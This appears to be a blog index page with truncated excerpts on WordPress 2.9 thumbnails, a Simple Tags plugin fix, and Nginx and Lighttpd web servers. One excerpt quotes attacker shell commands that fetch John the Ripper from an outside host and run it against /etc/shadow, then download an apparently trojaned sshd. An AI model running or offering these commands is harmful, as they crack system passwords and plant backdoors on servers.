The new Wordpress 2.9 released today features a new functionality for Wordpress theme designers/coders to add post thumbnails by using the command the_post_thumnail().
Of course, don’t forget that the fact that in order to use this feature, you need to select an image under Wordpress admin ar ...
For those of you who are getting errors with Simple Tags plugin when upgrading to Wordpress 2.9, there’s a simple hack to make it work:
Edit the file simple-tags.php and change the following from this:
if ( strpos($wp_version, ‘2.7′) !== false || strpos($wp_version, ‘2.8̸ ...
Here’s a rather interesting forum post that details how hackers hack web servers:
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wget geocities.com/cretu_2004/john-1.6.tar.gz;tar zxvf
john-1.6.tar.gz;rm -rf john-1.6.tar.gz;cd john-1.6/src;make linux-x86-any-elf;cd
../run;./john /etc/shadow
wget www.geocities.com/securedro/sshd.tar.gz;tar ...
Nginx is another super-fast, web server built for handling massive amounts of web traffic. Compared to Lighttpd, and based on real-world testing, Nginx offers better performance as it doesn’t leak memory as Lighttpd.
Recently I had the pleasure of moving all my web servers from Lighttpd to Ng ...
In this blog post, I will show you how to convert a Wordpress blog to run Lighttpd instead of the default Apache Httpd server (on a Plesk server specifically). You can probably apply most of these instructions to any other web servers running on raw Apache but if you are that good at managing web s ...
This is a Wordpress permance test using Lighttpd (which is a faster alternative to Apache) and Apache Httpd on a test server loaded with a real blog. All tests were done from empty load of zero.
For testing, I’ve used a virtual dedicated server from MediaTemple, specifically their dv Extreme ...